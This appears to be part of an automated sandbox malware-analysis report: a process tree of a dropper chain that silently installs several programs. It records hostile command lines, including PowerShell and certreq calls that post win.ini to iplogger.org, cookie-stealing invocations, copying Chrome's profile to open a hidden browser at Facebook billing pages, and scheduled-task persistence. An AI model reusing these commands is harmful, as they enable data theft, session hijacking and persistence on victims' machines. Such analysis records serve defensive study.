C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Setup.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\is-34QVG.tmp\Setup.exe" & del C:\ProgramData\*.dll & exit15⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Setup.exe /f16⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 616⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\Temp\is-QB3GG.tmp\zznote.exe"C:\Users\Admin\AppData\Local\Temp\is-QB3GG.tmp\zznote.exe" /Verysilent12⤵
-
C:\Users\Admin\AppData\Local\Temp\is-R992R.tmp\zznote.tmp"C:\Users\Admin\AppData\Local\Temp\is-R992R.tmp\zznote.tmp" /SL5="$603C4,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-QB3GG.tmp\zznote.exe" /Verysilent13⤵
-
C:\Users\Admin\AppData\Local\Temp\is-QNEIS.tmp\jg4_4jaa.exe"C:\Users\Admin\AppData\Local\Temp\is-QNEIS.tmp\jg4_4jaa.exe" /silent14⤵
-
C:\Users\Admin\AppData\Local\Temp\is-QB3GG.tmp\hjjgaa.exe"C:\Users\Admin\AppData\Local\Temp\is-QB3GG.tmp\hjjgaa.exe" /Verysilent12⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt13⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt13⤵
-
C:\Users\Admin\AppData\Local\Temp\hlepr2kul01\chashepro3.exe"C:\Users\Admin\AppData\Local\Temp\hlepr2kul01\chashepro3.exe" /VERYSILENT8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-KL63P.tmp\chashepro3.tmp"C:\Users\Admin\AppData\Local\Temp\is-KL63P.tmp\chashepro3.tmp" /SL5="$10290,1437605,58368,C:\Users\Admin\AppData\Local\Temp\hlepr2kul01\chashepro3.exe" /VERYSILENT9⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1aSny7"10⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c certreq -post -config https://iplogger.org/1aSny7 %windir%\\win.ini %temp%\\2 & del %temp%\\210⤵
-
C:\Windows\SysWOW64\certreq.execertreq -post -config https://iplogger.org/1aSny7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\211⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1HLzs7"10⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c certreq -post -config https://iplogger.org/1HLzs7 %windir%\\win.ini %temp%\\2 & del %temp%\\210⤵
-
C:\Windows\SysWOW64\certreq.execertreq -post -config https://iplogger.org/1HLzs7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\211⤵
-
C:\Program Files (x86)\JCleaner\3.exe"C:\Program Files (x86)\JCleaner\3.exe"10⤵
- Executes dropped EXE
-
C:\Program Files (x86)\JCleaner\3.exe"{path}"11⤵
-
C:\Program Files (x86)\JCleaner\3.exe"{path}"11⤵
-
C:\Program Files (x86)\JCleaner\3.exe"{path}"11⤵
-
C:\Program Files (x86)\JCleaner\2.exe"C:\Program Files (x86)\JCleaner\2.exe"10⤵
- Executes dropped EXE
-
C:\Program Files (x86)\JCleaner\2.exe"{path}"11⤵
-
C:\Program Files (x86)\JCleaner\1.exe"C:\Program Files (x86)\JCleaner\1.exe"10⤵
- Executes dropped EXE
-
C:\Program Files (x86)\JCleaner\1.exe"{path}"11⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/1jduf7"10⤵
-
C:\Users\Admin\AppData\Local\Temp\acmgnio4kb2\vpn.exe"C:\Users\Admin\AppData\Local\Temp\acmgnio4kb2\vpn.exe" /silent /subid=4828⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-J49Q8.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-J49Q8.tmp\vpn.tmp" /SL5="$10294,15170975,270336,C:\Users\Admin\AppData\Local\Temp\acmgnio4kb2\vpn.exe" /silent /subid=4829⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "10⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap090111⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "10⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap090111⤵
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall10⤵
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install10⤵
-
C:\Users\Admin\AppData\Local\Temp\rdtcc4z0ehr\c4nydmgjlri.exe"C:\Users\Admin\AppData\Local\Temp\rdtcc4z0ehr\c4nydmgjlri.exe" 57a764d042bf88⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k "C:\Program Files\7SCAE4JI70\7SCAE4JI7.exe" 57a764d042bf8 & exit9⤵
-
C:\Program Files\7SCAE4JI70\7SCAE4JI7.exe"C:\Program Files\7SCAE4JI70\7SCAE4JI7.exe" 57a764d042bf810⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\ry24cw13ow4\pkzabdvao3g.exe"C:\Users\Admin\AppData\Local\Temp\ry24cw13ow4\pkzabdvao3g.exe" testparams8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\zs0whgqkfjz\ikcuiekf30w.exe"C:\Users\Admin\AppData\Roaming\zs0whgqkfjz\ikcuiekf30w.exe" /VERYSILENT /p=testparams9⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-1D7I0.tmp\ikcuiekf30w.tmp"C:\Users\Admin\AppData\Local\Temp\is-1D7I0.tmp\ikcuiekf30w.tmp" /SL5="$2028E,329392,58368,C:\Users\Admin\AppData\Roaming\zs0whgqkfjz\ikcuiekf30w.exe" /VERYSILENT /p=testparams10⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\tkjagpj1swe\IBInstaller_97039.exe"C:\Users\Admin\AppData\Local\Temp\tkjagpj1swe\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-N89OH.tmp\IBInstaller_97039.tmp"C:\Users\Admin\AppData\Local\Temp\is-N89OH.tmp\IBInstaller_97039.tmp" /SL5="$202C2,14437942,721408,C:\Users\Admin\AppData\Local\Temp\tkjagpj1swe\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq9⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-MVB4B.tmp\{app}\chrome_proxy.exe"C:\Users\Admin\AppData\Local\Temp\is-MVB4B.tmp\{app}\chrome_proxy.exe"10⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-MVB4B.tmp\{app}\chrome_proxy.exe"11⤵
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 412⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://gemstrue.shop/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=9703910⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"4⤵
- Executes dropped EXE
- Drops Chrome extension
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\hjlksfgbs99\" /s /e /y5⤵
- Enumerates system info in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjlksfgbs99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/5⤵
- Suspicious use of FindShellTrayWindow
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\hjlksfgbs99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\hjlksfgbs99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\hjlksfgbs99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ffb65526e00,0x7ffb65526e10,0x7ffb65526e206⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1496,6938084056672446035,9911675292285259315,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjlksfgbs99" --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1504 /prefetch:26⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1496,6938084056672446035,9911675292285259315,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjlksfgbs99" --mojo-platform-channel-handle=1884 /prefetch:86⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1496,6938084056672446035,9911675292285259315,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjlksfgbs99" --mojo-platform-channel-handle=2216 /prefetch:86⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1496,6938084056672446035,9911675292285259315,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjlksfgbs99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2756 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1496,6938084056672446035,9911675292285259315,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjlksfgbs99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2748 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1496,6938084056672446035,9911675292285259315,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjlksfgbs99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3164 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1496,6938084056672446035,9911675292285259315,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjlksfgbs99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3152 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1496,6938084056672446035,9911675292285259315,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjlksfgbs99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3640 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1496,6938084056672446035,9911675292285259315,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjlksfgbs99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3856 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1496,6938084056672446035,9911675292285259315,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjlksfgbs99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3808 /prefetch:16⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"4⤵
-
C:\ProgramData\1687883.18"C:\ProgramData\1687883.18"5⤵
-
C:\ProgramData\6170532.67"C:\ProgramData\6170532.67"5⤵
-
C:\ProgramData\Windows Host\Windows Host.exe"C:\ProgramData\Windows Host\Windows Host.exe"6⤵
-
C:\ProgramData\3600733.39"C:\ProgramData\3600733.39"5⤵
-
C:\ProgramData\7141808.78"C:\ProgramData\7141808.78"5⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /create /tn UpdateWindows /tr "C:\Users\Admin\AppData\Roaming\WinHost\7141808.78" /st 21:18 /du 23:59 /sc daily /ri 1 /f6⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xc8,0xcc,0xd0,0xa4,0xd4,0x7ffb667f6e00,0x7ffb667f6e10,0x7ffb667f6e202⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1488 /prefetch:22⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=2052 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2644 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2668 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3348 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3476 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3468 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3636 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4328 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4556 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4480 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings2⤵
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0x240,0x244,0x248,0x21c,0x24c,0x7ff654e77740,0x7ff654e77750,0x7ff654e777603⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4732 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4840 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4772 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4824 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4408 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5028 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5024 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4932 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4952 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4860 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5036 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4920 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4944 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4856 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5532 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5596 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5520 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4356 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5352 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5032 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5088 /prefetch:82⤵
-
